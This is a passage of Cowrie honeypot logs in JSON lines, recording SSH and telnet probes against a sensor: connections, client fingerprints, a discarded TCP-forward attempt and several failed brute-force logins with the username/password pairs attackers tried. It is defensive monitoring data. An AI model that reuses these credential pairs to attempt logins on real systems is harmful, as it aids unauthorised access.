U\\xf9T\\xed2\\x14\\x8e\\x00\\x19\\xdb\\xf8\\xc4\\x0bU\\x87\\x1e\\x13e\\xd7\\xebU8\\x88\\x184\\xc7\\x84\\x9e\\x17\\xc5\\xb5\\xa9\\xc4\\x0f[\\x9c\\x03\\xc4U\\xb0\\x16\\x16\\x8c@\\x9c\\xe7\\xa3\\x8aPtI\\xb41(\"\"R\\x1f\\xb1x*z\\xbb\\xeb0\\x8bb@\\x8fr\\xf1\\xa2\\xa3K(\\xe5J&\\xd0\\x89\\xc3\\x04\"\\xc1^\\xa0Rr\\xd0^\\xe0\\xa2\\xac\\x14gP\\xfd\\xf4\\x89\\xbe#\\xabx\\xebF\\x9d\\xe5e\\xefy\\x89&\\xa8,\\xfb5\\xad\\xad\\xa9t,\\x89\\xa8)Rx\\x18b)\\xa2K\\r\\xe1\\x02\\xb9\\xb8j+\\xc0\\xc5\\x8aV\\x9a\\xa0\\x90\\xc1B\\xf8L\\x98\\x046q\\x9f\\xe2g||\\xa8)w\\x8f\\xc5\\xa6\\\\\\x93\\xba\\x99&\\xf5\\x93\\x1e\\x140cF,\\x8f8w\\xf1V\\x1agBu\\x1a\\x8cK\\x0c\\xcbN\\xc11\\x82p\\xc6\\xc1\\x02\\x93\\x05\\x07\\x04%\\x98\\x06J\\xb3G\\xbd\\xf8\\xcbz`\\xeb\\xeb\\xa5\\x1fC\\xa8\\xd0\\xd8a\\x14\\t\\xa2\\xde\\x88\\xa1\\xe7\\xb2 \\x9a\\xdb\\x96;\\xd6S\\x90\\xb3p\\x1b)\\x7f\\xc3~k@jJ\\xa8\\xbc\\x1a\\xce#\\xfa\\nz\\xc5\\xa7\\'t\\x81\\x0c\\xfeO\\x11\\x1e\\xd8\\x1e\\x8eR\\xfd\\x13\\xe77\\x06\\x00\\x1d\\x00 ~k@jJ\\xa8\\xbc\\x1a\\xce#\\xfa\\nz\\xc5\\xa7\\'t\\x81\\x0c\\xfeO\\x11\\x1e\\xd8\\x1e\\x8eR\\xfd\\x13\\xe77\\x06'","id":0,"message":"discarded direct-tcp forward request 0 to 8.8.8.8:443 with data b'\\x16\\x03\\x01\\x05\\xd9\\x01\\x00\\x05\\xd5\\x03\\x03#\\xc8\\xb1\\x93\\xc56\\xf8bK\\xdc\\x0e\\xe9\\xc9`\\xe6\\xd8@\\xbf\\xa0\\x06\\xd6gL\\xd5[\\xdc9\\xa5\\xe3/\\x06L \\x1fp\\xfc\\xa7R\\x99\\xf6\"\\xce*;c\\xb4q\\xfe11\\xf2\\x1dQ\\xfd\\xa7\\x9aAC\\xadb\\xcf\\xc9U\\xc5\\xd0\\x00\\x1a\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\t\\xc0\\x13\\xc0\\n\\xc0\\x14\\x13\\x01\\x13\\x02\\x13\\x03\\x01\\x00\\x05r\\x00\\x00\\x00\\x0f\\x00\\r\\x00\\x00\\ndns.google\\x00\\x0b\\x00\\x02\\x01\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\x17\\x00\\x00\\x00\\x12\\x00\\x00\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\n\\x00\\x10\\x00\\x0e\\x11\\xec\\x11\\xeb\\x11\\xed\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x19\\x00\\r\\x00\\x16\\x00\\x14\\x08\\x04\\x04\\x03\\x08\\x07\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x05\\x03\\x06\\x03\\x002\\x00\\x1a\\x00\\x18\\x08\\x04\\x04\\x03\\x08\\x07\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x05\\x03\\x06\\x03\\x02\\x01\\x02\\x03\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x003\\x04\\xea\\x04\\xe8\\x11\\xec\\x04\\xc0\\xeaP\\x08\\xe6E\\xcc\\x18bZK\\xd7L\\xd0S\\xa9,$\\xa2\\x1a\\xa6o\\xf3$\\xc2$\\x08G@\\xb4?(X\\x1af\\xc8w8\\xd7H\\xbeh\\xa4\\x97\\x92\\xbf\\xef$b\\x82yT\\xdd\\x88\\x89/\\xd6w\\xe2\\x8c\\x8aT\\x13\\x0b\\xf1\\x07\\xbb\\xd8u\\xc5\\xe7\\x81\\x97d\\xc5\\x8b_\\x98\\x9bki\\xcc\\xa4\\xa2\\xcb\\x9a<\\x16\\xe0J\\x03x\\xb8\\x87\\x064\\n\\x17\\xc9\\xc2\\xf1TN\\xa4[\\x14\\x102]\\t\\x02\\x08Aw\\x1b(\\xdc\\'\\xb0#\\x99\\xd0\\xd2\\t\\xa4\\x855h\\xa6E\\xbf(\\x07\\n\\x04\\xc4\\x13|]\\xac\\x8a\\xcb\\x9d\\xa9\\xcf1\\xfc\\x89\\xceSV6%\\x92\\x1c\\xf1\\x0bBfw\\xcfHi\\xd34_\\xb3\\xc3u\\x9aW\\x9d\\x8bR\\x87\\xf3\\xe6.h\\xe3h6\\x97Y\\x8b7@\\xd0\\x94\\xbe\\x1d\\x1c\\x11Va\\xa7n\\x04)\\xf5h/r\\x14\\xaa#hd@h\\r%\\xe4g\\xc8\\x8b.v4e\\x99\\x8a\\xcd\\xbeC~1{\\xc1\\x0b\\x02hx\\n\\x87hx}\\xed\\xa5;\\x8bFb<\\xe4S<t\\x88\\xcf\\x1b\\x1fk\\xdc\\x1c\\x03t\\x1d\\x0f\\x06VX\\x02\\x0e\\x8d:\\xa7\\xc8\\xfb\\xaf\\xb3%\\xabc\\xa71o\\x9c\\x18\\xbc5\\xa7|r|\\xe9\\x80\\x83\\xc6q\\x95\\xb5I\\xb2\\x93\\xfcp\\x97\\xf1t\\x0e\\n_\\x96d\\x03\\xc0\\xe9\\x8a}\\xe1\\xcd/\\xa9V\\x10\\xfb\\x03\\xd2\\xfc\\xaa-y+\"D\\x8d\\xccV\\x135lf\\x9f\\xa9>\\x00\\x93%\\x83Q\\xb4nJ\\xac\\x07\\x12T\\xe3\\xfa`\\xe0\\xf9*<\\xf6/\\x13\\xe3\\x15<B\\x03;y^\\xea\\xc1\\x1b\\xf7a]\\xfd\\xb6\\x8c\\xd2\\xc3\\xba\\xf9\\x9a\\xc1\\xbb\\xac\\xb0\\xbe\\xe0\\x92LV4\\xad\\xa8\\x1c\\xb5\\xa4\\x12\\x00\\x01B>\\x07(\\xbf7\\x97i\\x01.\\xf6G\\xc1lv\\x89\\x1c\\xfb9=\\x1b[\\xdd\\xe1\\xa7Q\"\\x1c\\xbat\\xcf2k\\x18\\xb2\\xf9\\x7f\\xfc;\\xbe\\xd8\\xb5\\'M\\x84}x\\xf6\\xc0\"\\x84\\x06\\xdd\\t\\x01\\xf6\\x1a.0\\xf4L\\xb8\\x18\\x00H\\xf3\\x18\\xc4\\x965\\\\:\\x15F\\xf9!\\x99\\xf3\\xc3\\x93\\xd1\"9\\x08G3\\x1b\\xb4J\\xc1\\xcc\\x17xR\\xe73\\x02-\\x97(\\x13v\\x80\\\\\\xd0X\\x188\\x04\\xc1z\\x8f\\x9c\\xd6\\x986,\\xbcV\\xb1\\xc8\\x00)\\xac%S~\\xc4P2V\\x16\\xbf\\x85\\x95\\x98\\xec\\xe4B\\xf0\\x89]\\xe7\\xd1Z\\xf0\\xc2\\x00\\xb9\\xdb\\xa4o\\xfc\\xc1Q\\xc6%\\t\\\\\\x15\\xe2\\x81\\x17\\x99\\xb7o4\\xf18\\x19\\xa2\\xc77$\\xaa\\xfb\\xe1-\\xdfF\\x18\\xbc\\xb9\\n\\xaeU\\x8d9$\\x11\\x16\\xb7\\xa7\\xc2\"3\\x01\\xbbU\\xee\\xa4\\x1eS\\xe1b\\xa0C[\\x13\\x8a\\x19\\xdb\\x81O\\x86\\x1c\\xb0e\\x11\\xac9\\x92\\'#c0\\xe8w\\xaa`\\x0b\\x8b%\\x06\\xcb\\xcc\\x00\\xcai\\x05D\\xe7\\xb8\\x84\\xb3U\\x15\\xe5|nb\\xcc\\x8a>\\xc0u\\x88\\xa0\\x1f\\xea\\x01\\x1cJ\\x8cNE\\xba76\\xa4\\x950\\xe0\\x87\\xbbgY=\\xa0\\xb2\\xfcZ\\x82\\x9a\\x94\\x97\\xed\\x10S\\xa9\\xf5(|\\x82\\xa4\\xd8\\xd1\\x02\\x8d\\xc5\\xcc\\x1f\\xf9\\x8a\\xe0\\xf4\\x9f.\\x87?\\xe2\\xd9C\\xb0\\xaa\\xa97\\xd4!:X\\xa7\\xcd\\x8aH2eR\\xa2R8\\xe7\\xe7&m\\xd4\\xa4\\xe8\\xf7\\x08\\x18\\xf6\\tD!\\x9d.\\x88\\x0eG6 \\xfc\\xa2\\xa5.\\x05C\\xaa\\xcc\\x85<{\\xa5\\xcc\\xc2e\\x9c9rM\\x83\"\\xe6\\xebW+\\xaa\\x0f\\xaf\\x96>\\x0bgyx\\xb6\\xab\\x12P#~I\\x05\\xefFyo\\x89\\xa4\\x12\\xa2G\\xbe\\x8a^\\x1aF\\xa6\\xb3\\xd4\\x14\\x80sO\\x0f\\xf1-$E\\x04\\\\\\xa9\\x1ei\\xb97n%\\xc4\\x0cVvr\\x9a\\xb0\\x93\\x08;\\xb0\\xf7\\xb6\\x16\\x0bv\\x9dp\\x80N\\x94\\x14\\xa1\\xb8\\xaf\\x0e\\xe8\\x11\\xd6\\x17\\x94\\xcaz/nGJ\\xde\\xda\\x06\\x98<\\x85H\\x1c\\x0e2\\x10b\\xca:p\\x811k~\\xa2\\xbd\\x12\\xc1\\x9f\\x8b|\\xc9\\x0c\\xd9{\\xfb %\\xa1\\x15\\xc8\\xbf\\xe3\\xa2\\xe5\\xca)\\xcd\\x99^\\xfb\\xa4kg\\xb5w\\xa7\\xe9\\x90\\xef\\x03\\xc03\\x17\\x90\\xab\\xd2\\x12\\xa8\\xfa\\x99#\\x987\\x8b\\x82-\\xb48 U\\xf9T\\xed2\\x14\\x8e\\x00\\x19\\xdb\\xf8\\xc4\\x0bU\\x87\\x1e\\x13e\\xd7\\xebU8\\x88\\x184\\xc7\\x84\\x9e\\x17\\xc5\\xb5\\xa9\\xc4\\x0f[\\x9c\\x03\\xc4U\\xb0\\x16\\x16\\x8c@\\x9c\\xe7\\xa3\\x8aPtI\\xb41(\"\"R\\x1f\\xb1x*z\\xbb\\xeb0\\x8bb@\\x8fr\\xf1\\xa2\\xa3K(\\xe5J&\\xd0\\x89\\xc3\\x04\"\\xc1^\\xa0Rr\\xd0^\\xe0\\xa2\\xac\\x14gP\\xfd\\xf4\\x89\\xbe#\\xabx\\xebF\\x9d\\xe5e\\xefy\\x89&\\xa8,\\xfb5\\xad\\xad\\xa9t,\\x89\\xa8)Rx\\x18b)\\xa2K\\r\\xe1\\x02\\xb9\\xb8j+\\xc0\\xc5\\x8aV\\x9a\\xa0\\x90\\xc1B\\xf8L\\x98\\x046q\\x9f\\xe2g||\\xa8)w\\x8f\\xc5\\xa6\\\\\\x93\\xba\\x99&\\xf5\\x93\\x1e\\x140cF,\\x8f8w\\xf1V\\x1agBu\\x1a\\x8cK\\x0c\\xcbN\\xc11\\x82p\\xc6\\xc1\\x02\\x93\\x05\\x07\\x04%\\x98\\x06J\\xb3G\\xbd\\xf8\\xcbz`\\xeb\\xeb\\xa5\\x1fC\\xa8\\xd0\\xd8a\\x14\\t\\xa2\\xde\\x88\\xa1\\xe7\\xb2 \\x9a\\xdb\\x96;\\xd6S\\x90\\xb3p\\x1b)\\x7f\\xc3~k@jJ\\xa8\\xbc\\x1a\\xce#\\xfa\\nz\\xc5\\xa7\\'t\\x81\\x0c\\xfeO\\x11\\x1e\\xd8\\x1e\\x8eR\\xfd\\x13\\xe77\\x06\\x00\\x1d\\x00 ~k@jJ\\xa8\\xbc\\x1a\\xce#\\xfa\\nz\\xc5\\xa7\\'t\\x81\\x0c\\xfeO\\x11\\x1e\\xd8\\x1e\\x8eR\\xfd\\x13\\xe77\\x06'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:57.852407Z","src_ip":"195.178.110.137","session":"a40c8234843f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:39:57.936712Z","src_ip":"195.178.110.137","session":"a40c8234843f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.213472366333008,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:11.291704Z","src_ip":"72.167.226.244","session":"c05c2710b1ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.197.250","src_port":55946,"dst_ip":"159.203.135.109","dst_port":22,"session":"727996b6bb39","protocol":"ssh","message":"New connection: 192.169.197.250:55946 (159.203.135.109:22) [session: 727996b6bb39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:17.762789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:17.766697Z","src_ip":"192.169.197.250","session":"727996b6bb39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:17.834307Z","src_ip":"192.169.197.250","session":"727996b6bb39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uae","password":"AbuDhabi#Bitc0!n#P@ss","message":"login attempt [uae/AbuDhabi#Bitc0!n#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:18.033996Z","src_ip":"192.169.197.250","session":"727996b6bb39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:19.102330Z","src_ip":"192.169.197.250","session":"727996b6bb39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.36.79","src_port":33194,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cee92491602","protocol":"ssh","message":"New connection: 103.82.36.79:33194 (10.17.0.5:22) [session: 9cee92491602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:26.551670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:26.555077Z","src_ip":"103.82.36.79","session":"9cee92491602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:26.806316Z","src_ip":"103.82.36.79","session":"9cee92491602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:27.561541Z","src_ip":"103.82.36.79","session":"9cee92491602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":48794,"dst_ip":"10.17.0.5","dst_port":22,"session":"50b9df50411f","protocol":"ssh","message":"New connection: 189.190.244.176:48794 (10.17.0.5:22) [session: 50b9df50411f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:28.486317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:28.489341Z","src_ip":"189.190.244.176","session":"50b9df50411f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:28.562253Z","src_ip":"189.190.244.176","session":"50b9df50411f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:28.824691Z","src_ip":"103.82.36.79","session":"9cee92491602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Star@123","message":"login attempt [root/Star@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:28.891563Z","src_ip":"189.190.244.176","session":"50b9df50411f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:29.967382Z","src_ip":"189.190.244.176","session":"50b9df50411f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":46992,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e00050ba09f","protocol":"telnet","message":"New connection: 94.23.66.112:46992 (10.17.0.5:23) [session: 4e00050ba09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:40:51.893945Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.239.252.132","src_port":41714,"dst_ip":"159.203.135.109","dst_port":22,"session":"5fa39a2eaec9","protocol":"ssh","message":"New connection: 103.239.252.132:41714 (159.203.135.109:22) [session: 5fa39a2eaec9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:41:46.851655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:41:46.859185Z","src_ip":"103.239.252.132","session":"5fa39a2eaec9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:41:47.106328Z","src_ip":"103.239.252.132","session":"5fa39a2eaec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"156.229.21.54","src_port":37658,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b0c844d9847","protocol":"telnet","message":"New connection: 156.229.21.54:37658 (10.17.0.5:23) [session: 6b0c844d9847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:41:47.353785Z"}
{"eventid":"cowrie.session.closed","duration":0.004306316375732422,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:41:47.357888Z","src_ip":"156.229.21.54","session":"6b0c844d9847","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"156.229.21.54","src_port":37666,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f54383e1db8","protocol":"telnet","message":"New connection: 156.229.21.54:37666 (10.17.0.5:23) [session: 5f54383e1db8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:41:47.499376Z"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer1234","message":"login attempt [developer/developer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:41:48.122248Z","src_ip":"103.239.252.132","session":"5fa39a2eaec9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:41:49.377932Z","src_ip":"103.239.252.132","session":"5fa39a2eaec9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":48996,"dst_ip":"10.17.0.5","dst_port":22,"session":"aeb83bc4ca42","protocol":"ssh","message":"New connection: 189.190.244.176:48996 (10.17.0.5:22) [session: aeb83bc4ca42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:41:59.633220Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:41:59.636294Z","src_ip":"189.190.244.176","session":"aeb83bc4ca42","protocol":"ssh"}
